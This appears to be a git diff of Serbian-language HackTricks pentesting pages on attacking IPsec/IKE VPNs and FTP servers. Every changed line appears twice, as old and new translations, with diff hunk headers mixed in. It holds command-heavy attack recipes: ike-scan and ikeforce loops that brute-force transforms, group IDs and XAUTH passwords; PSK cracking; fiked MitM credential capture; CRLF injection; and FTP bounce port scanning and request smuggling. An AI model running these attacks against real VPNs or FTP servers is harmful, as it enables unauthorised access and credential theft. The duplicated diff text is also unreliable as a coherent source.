* _0 returned handshake; 1 returned notify:_ VPN gateway-ovi odgovaraju sa obaveštenjem kada **nijedna od transformacija nije prihvatljiva** (mada neki gateway-ovi to ne rade, u tom slučaju treba pokušati sa daljom analizom i revidiranim predlogom).
* _0 returned handshake; 1 returned notify:_ VPN gateway-ovi odgovaraju sa obaveštenjem kada **nijedna od transformacija nije prihvatljiva** (mada neki gateway-ovi to ne rade, u tom slučaju treba izvršiti dalju analizu i probati sa revidiranim predlogom).
Zatim, u ovom slučaju već imamo važeću transformaciju, ali ako se nalazite u 3. slučaju, tada morate **malčice probati da pronađete važeću transformaciju:**
Zatim, u ovom slučaju već imamo važeću transformaciju, ali ako se nalazite u 3. slučaju, tada morate **malčice probati sa brute-force-om da biste pronašli važeću transformaciju:**
Prvo, treba da kreirate sve moguće transformacije:
Prvo morate kreirati sve moguće transformacije:
```bash
for ENC in 1 2 3 4 5 6 7/128 7/192 7/256 8; do for HASH in 1 2 3 4 5 6; do for AUTH in 1 2 3 4 5 6 7 8 64221 64222 64223 64224 65001 65002 65003 65004 65005 65006 65007 65008 65009 65010; do for GROUP in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18; do echo "--trans=$ENC,$HASH,$AUTH,$GROUP" >> ike-dict.txt ;done ;done ;done ;done
```
I zatim pokušajte da probijete svaki koristeći ike-scan (ovo može potrajati nekoliko minuta):
I onda svaki od njih probajte napasti brute-force metodom koristeći ike-scan (ovo može potrajati nekoliko minuta):
```bash
while read line; do (echo "Valid trans found: $line" && sudo ike-scan -M $line <IP>) | grep -B14 "1 returned handshake" | grep "Valid trans found" ; done < ike-dict.txt
```
@ -84,7 +84,7 @@ Ako brute-force nije uspeo, možda server odgovara bez rukovanja čak i na valid
while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive -P handshake.txt $line <IP>) | grep -B7 "SA=" | grep "Valid trans found" ; done < ike-dict.txt
```
Nadam se da će **važeća transformacija biti vraćena**.\
Možete pokušati isti napad koristeći [**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py).\
Možete pokušati **isti napad** koristeći [**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py).\
Takođe možete pokušati da grubo forsirate transformacije sa [**ikeforce**](https://github.com/SpiderLabs/ikeforce):
```bash
./ikeforce.py <IP> # No parameters are required for scan -h for additional help
@ -94,7 +94,7 @@ Takođe možete pokušati da grubo forsirate transformacije sa [**ikeforce**](ht
U **DH grupi: 14 = 2048-bitni MODP** i **15 = 3072-bitni**\
**2 = HMAC-SHA = SHA1 (u ovom slučaju). Format `--trans` je $Enc,$Hash,$Auth,$DH**
Cisco preporučuje izbegavanje korišćenja DH grupa 1 i 2 jer nisu dovoljno jaki. Stručnjaci veruju da **zemlje sa velikim resursima lako mogu probiti enkripciju** podataka koji koriste ove slabe grupe. To se postiže korišćenjem posebnog metoda koji ih priprema da brzo probiju kodove. Iako košta puno novca postaviti ovaj metod, omogućava ovim moćnim zemljama da čitaju enkriptovane podatke u realnom vremenu ako koriste grupu koja nije jaka (kao što je 1,024-bitna ili manja).
Cisco preporučuje izbegavanje korišćenja DH grupa 1 i 2 jer nisu dovoljno jaki. Stručnjaci veruju da **zemlje sa velikim resursima lako mogu probiti** enkripciju podataka koja koristi ove slabe grupe. To se postiže korišćenjem posebnog metoda koji ih priprema da brzo probiju kodove. Iako košta puno novca postaviti ovaj metod, omogućava ovim moćnim zemljama da čitaju enkriptovane podatke u realnom vremenu ako koriste grupu koja nije jaka (kao što je 1,024-bitna ili manja).
### Fingerprintiranje servera
@ -124,10 +124,10 @@ Ending ike-scan 1.9: 1 hosts scanned in 84.080 seconds (0.01 hosts/sec). 1 retur
```
Ovo može biti postignuto i sa nmap skriptom _**ike-version**_
## Pronalaženje ispravnog ID-a (imenovanje grupe)
## Pronalaženje tačnog ID-a (imenovanje grupe)
Da biste bili u mogućnosti da uhvatite heš, potreban vam je validan transform koji podržava Agresivni režim i ispravan ID (ime grupe). Verovatno nećete znati ispravno ime grupe, pa ćete morati da ga probate silom.
Da biste to uradili, preporučio bih vam 2 metode:
Da biste bili u mogućnosti da uhvatite heš, potreban vam je validan transform koji podržava Agresivni režim i tačan ID (ime grupe). Verovatno nećete znati validno ime grupe, pa ćete morati da ga probate silom.
Da biste to uradili, preporučujem vam 2 metode:
### Silom probijanje ID-a sa ike-scan
@ -135,17 +135,17 @@ Prvo pokušajte da napravite zahtev sa lažnim ID-om pokušavajući da prikupite
```bash
ike-scan -P -M -A -n fakeID <IP>
```
Ako **nijedan heš nije vraćen**, tada će verovatno ovaj metod brute force napada raditi. **Ako se vrati neki heš, to znači da će se za lažni ID poslati lažni heš, pa ovaj metod neće biti pouzdan** za brute-force napad na ID. Na primer, može se vratiti lažni heš (ovo se dešava u modernim verzijama):
Ako **nema povratne vrednosti heša**, tada će verovatno ovaj metod brute force napada raditi. **Ako se vrati neki heš, to znači da će se lažni heš poslati za lažni ID, tako da ovaj metod neće biti pouzdan** za brute-force napad na ID. Na primer, može se vratiti lažni heš (ovo se dešava u modernim verzijama):
![](<../.gitbook/assets/image (110).png>)
Ali ako, kao što sam rekao, nijedan heš nije vraćen, tada biste trebali pokušati da brute-forceujete uobičajena imena grupa koristeći ike-scan.
Ali ako, kao što sam rekao, nema povratne vrednosti heša, tada biste trebali pokušati da brute-force-ujete uobičajena imena grupa koristeći ike-scan.
Ovaj skript **će pokušati da brute-forceuje moguće ID-ove** i vratiće ID-ove gde je vraćen validan handshake (ovo će biti validno ime grupe).
Ovaj skript **će pokušati da brute-force-uje moguće ID-ove** i vratiće ID-ove gde je vraćen validan handshake (ovo će biti validno ime grupe).
Ako ste otkrili određenu transformaciju, dodajte je u ike-scan komandu. Ako ste otkrili više transformacija slobodno dodajte novu petlju da ih sve isprobate (trebalo bi da ih isprobate sve dok jedna od njih pravilno funkcioniše).
Ako ste otkrili određenu transformaciju, dodajte je u ike-scan komandu. Ako ste otkrili više transformacija, slobodno dodajte novu petlju da ih sve isprobate (trebalo bi da ih isprobate sve dok jedna od njih pravilno funkcioniše).
Možete koristiti [rečnik ikeforce-a](https://github.com/SpiderLabs/ikeforce/blob/master/wordlists/groupnames.dic) ili [onaj u seclists-u](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/ike-groupid.txt) uobičajenih imena grupa da ih brute-forceujete:
Možete koristiti [rečnik ikeforce](https://github.com/SpiderLabs/ikeforce/blob/master/wordlists/groupnames.dic) ili [onaj u seclists](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/ike-groupid.txt) uobičajenih imena grupa za brute-force napade na njih:
```bash
while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line <IP>) | grep -B14 "1 returned handshake" | grep "Found ID:"; done < /usr/share/wordlists/external/SecLists/Miscellaneous/ike-groupid.txt
```
@ -161,11 +161,11 @@ Podrazumevano, **ikeforce** će na početku poslati neke nasumične ID-ove kako
* **Prva metoda** je da brute-force-uje imena grupa **tražeći** informacije o **Dead Peer Detection DPD** kod Cisco sistema (ove informacije server emituje samo ako je ime grupe ispravno).
* **Druga dostupna metoda** je da **proverava broj poslatih odgovora za svaki pokušaj** jer se ponekad šalje više paketa kada se koristi ispravan ID.
* **Treća metoda** se sastoji od **traženja "INVALID-ID-INFORMATION" u odgovoru na neispravan ID**.
* **Treća metoda** sastoji se od **traženja "INVALID-ID-INFORMATION" u odgovoru na neispravan ID**.
* Na kraju, ako server ne emituje ništa kao odgovor na provere, **ikeforce** će pokušati da brute-force-uje server i proveri da li server emituje neki paket kada se pošalje ispravan ID.\
Očigledno, cilj brute force-ovanja ID-a je dobiti **PSK** kada imate validan ID. Zatim, sa **ID-em** i **PSK-om** moraćete da brute-force-ujete XAUTH (ako je omogućen).
Očigledno je cilj brute force napada na ID dobiti **PSK** kada imate validan ID. Zatim, sa **ID-om** i **PSK-om** moraćete da brute-force-ujete XAUTH (ako je omogućen).
Ako ste otkrili određenu transformaciju, dodajte je u ikeforce komandu. I ako ste otkrili više transformacija slobodno dodajte novu petlju da ih sve isprobate (trebalo bi da ih isprobate sve dok jedna od njih pravilno funkcioniše).
Ako ste otkrili određenu transformaciju, dodajte je u ikeforce komandu. Ako ste otkrili više transformacija, slobodno dodajte novu petlju kako biste ih sve isprobali (trebalo bi da ih isprobate sve dok jedna od njih pravilno funkcioniše).
```bash
git clone https://github.com/SpiderLabs/ikeforce.git
pip install 'pyopenssl==17.2.0' #It is old and need this version of the library
@ -174,9 +174,9 @@ pip install 'pyopenssl==17.2.0' #It is old and need this version of the library
```bash
./ikeforce.py <IP> -e -w ./wordlists/groupnames.dic
```
### Snifovanje ID-a
### Snifovanje ID
(Iz knjige **Procena bezbednosti mreže: Upoznajte svoju mrežu**): Takođe je moguće dobiti validna korisnička imena snifovanjem veze između VPN klijenta i servera, jer se prvi paket agresivnog moda koji sadrži ID klijenta šalje otvoreno.
(Iz knjige **Procena bezbednosti mreže: Upoznajte svoju mrežu**): Takođe je moguće dobiti validna korisnička imena snifovanjem veze između VPN klijenta i servera, jer se prvi paket agresivnog moda koji sadrži ID klijenta šalje otvoreno
![](<../.gitbook/assets/image (111).png>)
@ -194,34 +194,36 @@ psk-crack -d <Wordlist_path> psk.txt
```
## **XAuth**
**Agresivni režim IKE** kombinovan sa **Pre-Shared Key (PSK)** se često koristi u svrhu **grupne autentikacije**. Ovaj metod se proširuje sa **XAuth (Extended Authentication)**, koja služi da uvede dodatni sloj **korisničke autentikacije**. Takva autentikacija obično koristi usluge poput **Microsoft Active Directory**, **RADIUS**, ili sličnih sistema.
**Agresivni režim IKE** kombinovan sa **Pre-Shared Key (PSK)** se često koristi u svrhu **grupne autentikacije**. Ovaj metod se proširuje sa **XAuth (Proširena autentikacija)**, koja služi da uvede dodatni sloj **korisničke autentikacije**. Takva autentikacija obično koristi usluge poput **Microsoft Active Directory**, **RADIUS**, ili sličnih sistema.
Prelaskom na **IKEv2**, primećuje se značajna promena gde se koristi **EAP (Extensible Authentication Protocol)** umesto **XAuth** u svrhu autentikacije korisnika. Ova promena ističe evoluciju praksi autentikacije unutar sigurnih komunikacionih protokola.
Prelaskom na **IKEv2**, primećuje se značajna promena gde se koristi **EAP (Proširivi protokol za autentikaciju)** umesto **XAuth** u svrhu autentikacije korisnika. Ova promena ističe evoluciju praksi autentikacije unutar sigurnih komunikacionih protokola.
### MitM napad na lokalnu mrežu za hvatanje kredencijala
Tako možete uhvatiti podatke o prijavi koristeći _fiked_ i videti da li postoji neko podrazumevano korisničko ime (Morate preusmeriti IKE saobraćaj na `fiked` za špijuniranje, što se može uraditi uz pomoć ARP spoofinga, [više informacija](https://opensourceforu.com/2012/01/ipsec-vpn-penetration-testing-backtrack-tools/)). Fiked će delovati kao VPN krajnja tačka i uhvatiće XAuth kredencijale:
Tako da možete uhvatiti podatke o prijavi koristeći _fiked_ i videti da li postoji neko podrazumevano korisničko ime (Morate preusmeriti IKE saobraćaj na `fiked` za špijuniranje, što se može uraditi uz pomoć ARP spoofinga, [više informacija](https://opensourceforu.com/2012/01/ipsec-vpn-penetration-testing-backtrack-tools/)). Fiked će delovati kao VPN krajnja tačka i uhvatiće XAuth kredencijale:
```bash
fiked -g <IP> -k testgroup:secretkey -l output.txt -d
```
### Izvođenje MitM napada i blokiranje saobraćaja ka portu 500 korišćenjem IPSec-a
### Napad srednjeg čoveka (MitM) i blokiranje saobraćaja na portu 500 pomoću IPSec-a
Takođe, korišćenjem IPSec-a pokušajte da izvedete MitM napad i blokirate sav saobraćaj ka portu 500, ako tunel IPSec-a ne može da se uspostavi, možda će se saobraćaj slati nešifrovan.
Takođe, pokušajte da izvršite napad srednjeg čoveka (MitM) i blokirate sav saobraćaj ka portu 500 korišćenjem IPSec-a. Ako tunel IPSec-a ne može da se uspostavi, možda će se saobraćaj slati u otvorenom obliku.
### Brute-forcing XAUTH korisničkog imena i lozinke pomoću ikeforce
### Brute-forcing XAUTH korisničko ime i lozinku pomoću ikeforce
Da biste izvršili brute force napad na **XAUTH** (kada znate validno ime grupe **id** i **psk**), možete koristiti korisničko ime ili listu korisničkih imena i listu lozinki:
Da biste primenili **XAUTH** metodu (kada znate validno ime grupe **id** i **psk**), možete koristiti korisničko ime ili listu korisničkih imena i listu lozinki:
```bash
./ikeforce.py <IP> -b -i <group_id> -u <username> -k <PSK> -w <passwords.txt> [-s 1]
```
Na ovaj način, ikeforce će pokušati da se poveže koristeći svaku kombinaciju korisničko ime: lozinka.
Ako pronađete jednu ili više validnih transformacija, jednostavno ih koristite kao u prethodnim koracima.
## Autentikacija sa IPSEC VPN
U Kali, **VPNC** se koristi za uspostavljanje IPsec tunela. **Profili** se moraju nalaziti u direktorijumu `/etc/vpnc/`. Možete pokrenuti ove profile koristeći komandu _**vpnc**_.
Sledeće komande i konfiguracije ilustruju proces postavljanja VPN veze sa VPNC-om:
Sledeće komande i konfiguracije ilustruju proces postavljanja VPN veze sa VPNC:
```bash
root@system:~# cat > /etc/vpnc/samplevpn.conf << STOP
IPSec gateway [VPN_GATEWAY_IP]
@ -238,12 +240,10 @@ root@system:~# ifconfig tun0
U ovom postavci:
- Zamijenite `[VPN_GATEWAY_IP]` stvarnom IP adresom VPN gateway-a.
- Zamijenite `[VPN_CONNECTION_ID]` identifikatorom VPN veze.
- Zamijenite `[VPN_GROUP_SECRET]` tajnom grupe VPN-a.
- Zamijenite `[VPN_USERNAME]` i `[VPN_PASSWORD]` autentifikacionim podacima VPN-a.
- `[PID]` simbolizuje ID procesa koji će biti dodijeljen kada `vpnc` pokrene.
Osigurajte da se stvarne, sigurne vrijednosti koriste za zamjenu mjesta kada konfigurišete VPN.
- Zamijenite `[VPN_CONNECTION_ID]` sa identifikatorom za VPN konekciju.
- Zamijenite `[VPN_GROUP_SECRET]` sa grupnim tajnim ključem VPN-a.
- Zamijenite `[VPN_USERNAME]` i `[VPN_PASSWORD]` sa autentifikacionim podacima VPN-a.
- `[PID]` simbolizuje ID procesa koji će biti dodeljen kada `vpnc` pokrene.
## Reference Materijal
@ -258,7 +258,7 @@ Osigurajte da se stvarne, sigurne vrijednosti koriste za zamjenu mjesta kada kon
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -268,10 +268,10 @@ Osigurajte da se stvarne, sigurne vrijednosti koriste za zamjenu mjesta kada kon
Drugi načini podrške HackTricks-u:
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** Provjerite [**PLANOVE ZA PRETPLATU**](https://github.com/sponsors/carlospolop)!
* Ako želite da vidite **vašu kompaniju reklamiranu na HackTricks-u** ili **preuzmete HackTricks u PDF formatu** proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Otkrijte [**The PEASS Family**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili nas **pratite** na **Twitteru** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Podijelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
* **Podelite svoje hakovanje trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
</details>

View file

@ -4,7 +4,7 @@
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Da li radite u **kompaniji za sajber bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite pristup **najnovijoj verziji PEASS ili preuzimanje HackTricks u PDF formatu**? Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite pristup **najnovijoj verziji PEASS ili preuzimanje HackTricks u PDF formatu**? Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
@ -14,7 +14,7 @@
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -32,9 +32,9 @@ PORT STATE SERVICE
```
### Aktivne i pasivne veze
U **Aktivnom FTP-u** FTP **klijent** prvo **inicira** kontrolnu **vezu** sa svog porta N do FTP servera na komandnom portu - port 21. Klijent zatim **sluša** port **N+1** i šalje port N+1 FTP serveru. FTP **server** zatim **inicira** vezu za prenos podataka, sa **svog porta M do porta N+1** FTP klijenta.
U **Aktivnom FTP-u** FTP **klijent** prvo **inicira** kontrolnu **vezu** sa svog porta N do FTP servera na komandnom portu - port 21. Klijent zatim **sluša** na portu **N+1** i šalje port N+1 FTP serveru. FTP **server** zatim **inicira** vezu za prenos podataka, sa **svog porta M do porta N+1** FTP klijenta.
Međutim, ako FTP klijent ima postavljen firewall koji kontroliše dolazne veze za prenos podataka sa spoljnih lokacija, tada aktivni FTP može predstavljati problem. I, izvodljivo rešenje za to je Pasivni FTP.
Međutim, ako FTP klijent ima firewall postavljen koji kontroliše dolazne veze za prenos podataka sa spoljnih lokacija, tada aktivni FTP može predstavljati problem. I, izvodljivo rešenje za to je Pasivni FTP.
U **Pasivnom FTP-u**, klijent inicira kontrolnu vezu sa svog porta N do porta 21 FTP servera. Nakon toga, klijent izdaje **passv komandu**. Server zatim šalje klijentu jedan od svojih brojeva porta M. I **klijent** **inicira** vezu za prenos podataka sa **svog porta P do porta M** FTP servera.
@ -127,50 +127,50 @@ Provere anonimnog prijavljivanja i FTP provere se podrazumevano vrše nmap-om sa
```bash
nmap --script ftp-* -p 21 <ip>
```
## Povezivanje pretraživača
## Povezivanje pretraživačem
Možete se povezati sa FTP serverom koristeći pretraživač (kao što je Firefox) koristeći URL adresu:
```bash
ftp://anonymous:anonymous@10.10.10.98
```
Ukoliko **veb aplikacija** šalje podatke koje kontroliše korisnik **direktno na FTP server**, možete poslati dvostruko URL enkodirane `%0d%0a` bajtove (u dvostrukom URL enkodiranju ovo je `%250d%250a`) i naterati **FTP server da izvrši proizvoljne akcije**. Jedna od mogućih proizvoljnih akcija je preuzimanje sadržaja sa servera koji kontroliše korisnik, vršenje skeniranja portova ili pokušaj komunikacije sa drugim servisima zasnovanim na čistom tekstu (kao što je http).
Imajte na umu da ako **veb aplikacija** šalje podatke koje kontroliše korisnik **direktno na FTP server**, možete poslati dvostruko URL enkodirane `%0d%0a` bajtove (u dvostrukom URL enkodiranju ovo je `%250d%250a`) i naterati **FTP server da izvrši proizvoljne radnje**. Jedna od mogućih proizvoljnih radnji je preuzimanje sadržaja sa servera koji kontroliše korisnik, vršenje skeniranja portova ili pokušaj komunikacije sa drugim servisima zasnovanim na običnom tekstu (kao što je http).
## Preuzmi sve fajlove sa FTP-a
## Preuzmite sve fajlove sa FTP-a
```bash
wget -m ftp://anonymous:anonymous@10.10.10.98 #Donwload all
wget -m --no-passive ftp://anonymous:anonymous@10.10.10.98 #Download all
```
Ako vaš korisničko ime/lozinka sadrži specijalne karaktere, može se koristiti [sledeća komanda](https://stackoverflow.com/a/113900/13647948):
Ako vaš korisničko ime/šifra sadrži specijalne karaktere, može se koristiti [sledeća komanda](https://stackoverflow.com/a/113900/13647948):
```bash
wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/
```
## Neke FTP komande
* **`USER korisničkoime`**
* **`USER korisničko_ime`**
* **`PASS lozinka`**
* **`HELP`** Server pokazuje koje komande podržava
* \*\*`PORT 127,0,0,1,0,80`\*\*Ovo će pokazati FTP serveru da uspostavi vezu sa IP adresom 127.0.0.1 na portu 80 (_trebate postaviti 5. karakter kao "0" i 6. kao port u decimalnom formatu ili koristiti 5. i 6. karakter da izrazite port u heksadecimalnom formatu_).
* \*\*`EPRT |2|127,0,0,1|80|`\*\*Ovo će pokazati FTP serveru da uspostavi TCP vezu (_označeno sa "2"_) sa IP adresom 127.0.0.1 na portu 80. Ova komanda **podržava IPv6**.
* \*\*`PORT 127,0,0,1,0,80`\*\*Ovo će pokazati FTP serveru da uspostavi vezu sa IP adresom 127.0.0.1 na portu 80 (_trebate postaviti 5. karakter kao "0" i 6. kao port u decimalnom obliku ili koristiti 5. i 6. za izražavanje porta u heksadecimalnom obliku_).
* \*\*`EPRT |2|127.0.0.1|80|`\*\*Ovo će pokazati FTP serveru da uspostavi TCP vezu (_označeno sa "2"_) sa IP adresom 127.0.0.1 na portu 80. Ova komanda **podržava IPv6**.
* **`LIST`** Ovo će poslati listu fajlova u trenutnom folderu
* **`LIST -R`** Rekurzivni prikaz liste (ako je dozvoljeno od strane servera)
* **`APPE /putanja/nesto.txt`** Ovo će pokazati FTP-u da sačuva primljene podatke sa **pasivne** ili **PORT/EPRT** konekcije u fajl. Ako fajl već postoji, dodavaće podatke.
* **`STOR /putanja/nesto.txt`** Slično kao `APPE` ali će prebrisati fajlove
* **`STOU /putanja/nesto.txt`** Slično kao `APPE`, ali ako fajl već postoji, neće uraditi ništa.
* **`RETR /putanja/do/fajla`** Pasivna ili port konekcija mora biti uspostavljena. Zatim, FTP server će poslati naznačeni fajl preko te konekcije
* **`LIST -R`** Rekurzivno listanje (ako je dozvoljeno od strane servera)
* **`APPE /putanja/nešto.txt`** Ovo će pokazati FTP-u da sačuva primljene podatke sa **pasivne** ili **PORT/EPRT** veze u fajl. Ako fajl već postoji, dodavaće podatke.
* **`STOR /putanja/nešto.txt`** Slično kao `APPE` ali će prebrisati fajlove
* **`STOU /putanja/nešto.txt`** Slično kao `APPE`, ali ako fajl već postoji, neće uraditi ništa.
* **`RETR /putanja/do/fajla`** Mora se uspostaviti pasivna ili port konekcija. Zatim, FTP server će poslati naznačeni fajl preko te veze
* **`REST 6`** Ovo će pokazati serveru da sledeći put kada šalje nešto koristeći `RETR` treba da počne od 6. bajta.
* **`TYPE i`** Postavlja transfer u binarni mod
* **`PASV`** Ovo će otvoriti pasivnu konekciju i pokazati korisniku gde može da se poveže
* **`PASV`** Ovo će otvoriti pasivnu vezu i pokazati korisniku gde može da se poveže
* **`PUT /tmp/fajl.txt`** Uploaduje naznačeni fajl na FTP
![](<../../.gitbook/assets/image (227).png>)
## FTPBounce napad
Neki FTP serveri dozvoljavaju komandu PORT. Ova komanda može biti korišćena da pokaže serveru da želite da se povežete sa drugim FTP serverom na određenom portu. Zatim, možete koristiti ovo da skenirate koje portove na hostu su otvoreni preko FTP servera.
Neki FTP serveri dozvoljavaju komandu PORT. Ova komanda se može koristiti da se pokaže serveru da želite da se povežete sa drugim FTP serverom na određenom portu. Zatim, možete koristiti ovo da skenirate koje portove na hostu su otvorene preko FTP servera.
[**Saznajte ovde kako zloupotrebiti FTP server za skeniranje portova.**](ftp-bounce-attack.md)
Takođe možete zloupotrebiti ovu funkcionalnost da naterate FTP server da interaguje sa drugim protokolima. Možete **uploadovati fajl koji sadrži HTTP zahtev** i naterati ranjiv FTP server da ga **pošalje proizvoljnom HTTP serveru** (_možda da dodate novog admin korisnika?_) ili čak uploadovati FTP zahtev i naterati ranjiv FTP server da preuzme fajl sa drugog FTP servera.\
Takođe možete zloupotrebiti ovu funkcionalnost da naterate FTP server da interaguje sa drugim protokolima. Možete **uploadovati fajl koji sadrži HTTP zahtev** i naterati ranjivi FTP server da ga **pošalje proizvoljnom HTTP serveru** (_možda da dodate novog admin korisnika?_) ili čak uploadovati FTP zahtev i naterati ranjivi FTP server da preuzme fajl sa drugog FTP servera.\
Teorija je jednostavna:
1. **Uploadujte zahtev (unutar tekstualnog fajla) na ranjivi server.** Zapamtite da ako želite da komunicirate sa drugim HTTP ili FTP serverom, morate promeniti linije sa `0x0d 0x0a`
@ -178,22 +178,22 @@ Teorija je jednostavna:
3. **Koristite `PORT` da se povežete sa proizvoljnim serverom i servisom**
4. **Koristite `RETR` da pošaljete sačuvani zahtev serveru.**
Vrlo je verovatno da će ovo **izazvati grešku poput** _**Socket not writable**_ **jer veza ne traje dovoljno dugo da pošalje podatke sa `RETR`**. Predlozi za pokušaj izbegavanja toga su:
Veoma je verovatno da će ovo **izazvati grešku kao** _**Socket not writable**_ **jer veza ne traje dovoljno dugo da pošalje podatke sa `RETR`**. Predlozi za pokušaj izbegavanja toga su:
* Ako šaljete HTTP zahtev, **stavite isti zahtev jedan za drugim** dok ne dostignete **oko 0.5MB** barem. Na primer:
* Ako šaljete HTTP zahtev, **stavite isti zahtev jedan za drugim** dok ne dostignete **\~0.5MB** barem. Na primer:
{% file src="../../.gitbook/assets/posts (1).txt" %}
posts.txt
{% endfile %}
* Pokušajte da **popunite zahtev "junk" podacima relativnim za protokol** (razgovarajući sa FTP-om možda samo junk komande ili ponavljanje `RETR` instrukcije za dobijanje fajla)
* Jednostavno **popunite zahtev sa puno nula karaktera ili drugih** (podeljenih u linije ili ne)
* Pokušajte da **popunite zahtev "junk" podacima relativnim za protokol** (razgovor sa FTP-om možda samo junk komande ili ponavljanje `RETR` instrukcije za dobijanje fajla)
* Jednostavno **popunite zahtev sa puno nula karaktera ili drugih** (podeljeno u linije ili ne)
U svakom slučaju, ovde imate [stari primer kako zloupotrebiti ovo da naterate FTP server da preuzme fajl sa drugog FTP servera.](ftp-bounce-download-2oftp-file.md)
## Filezilla Server Ranjivost
**FileZilla** obično se **vezuje** za **lokalnu** Administrativnu uslugu za **FileZilla-Server** (port 14147). Ako možete napraviti **tunel** sa **vaše mašine** da pristupite ovom portu, možete se **povezati** na **njega** koristeći **praznu lozinku** i **kreirati** novog korisnika za FTP servis.
**FileZilla** obično **vezuje** lokalnu **Administrativnu uslugu** za **FileZilla-Server** (port 14147). Ako možete napraviti **tunel** sa **vaše mašine** da pristupite ovom portu, možete se **povezati** na **njega** koristeći **praznu lozinku** i **kreirati** novog korisnika za FTP servis.
## Konfiguracioni fajlovi
```
@ -214,7 +214,7 @@ Podrazumevana konfiguracija vsFTPd-a može se pronaći u `/etc/vsftpd.conf`. Ovd
* `chown_username=username` - Korisnik koji dobija vlasništvo nad anonimno otpremljenim fajlovima
* `local_enable=YES` - Omogućava lokalnim korisnicima prijavljivanje
* `no_anon_password=YES` - Ne traži anonimnog korisnika za lozinku
* `write_enable=YES` - Dozvoljava komande: STOR, DELE, RNFR, RNTO, MKD, RMD, APPE i SITE
* `write_enable=YES` - Dozvoljava komande: STOR, DELE, RNFR, RNTO, MKD, RMD, APPE, i SITE
### Shodan
@ -225,7 +225,7 @@ Podrazumevana konfiguracija vsFTPd-a može se pronaći u `/etc/vsftpd.conf`. Ovd
**Try Hard Security Group**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -287,10 +287,10 @@ Command: msfconsole -q -x 'use auxiliary/scanner/ftp/anonymous; set RHOSTS {IP};
<summary><strong>Naučite hakovanje AWS-a od nule do heroja sa</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Da li radite u **kompaniji za sajber bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite pristupiti **najnovijoj verziji PEASS ili preuzeti HackTricks u PDF formatu**? Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Da li radite u **kompaniji za kibernetičku bezbednost**? Želite li da vidite svoju **kompaniju reklamiranu na HackTricks**? ili želite pristupiti **najnovijoj verziji PEASS ili preuzeti HackTricks u PDF formatu**? Proverite [**PLANOVE ZA PRIJAVU**](https://github.com/sponsors/carlospolop)!
* Otkrijte [**Porodicu PEASS**](https://opensea.io/collection/the-peass-family), našu kolekciju ekskluzivnih [**NFT-ova**](https://opensea.io/collection/the-peass-family)
* Nabavite [**zvanični PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Pridružite se** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili me **pratite** na **Twitteru** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
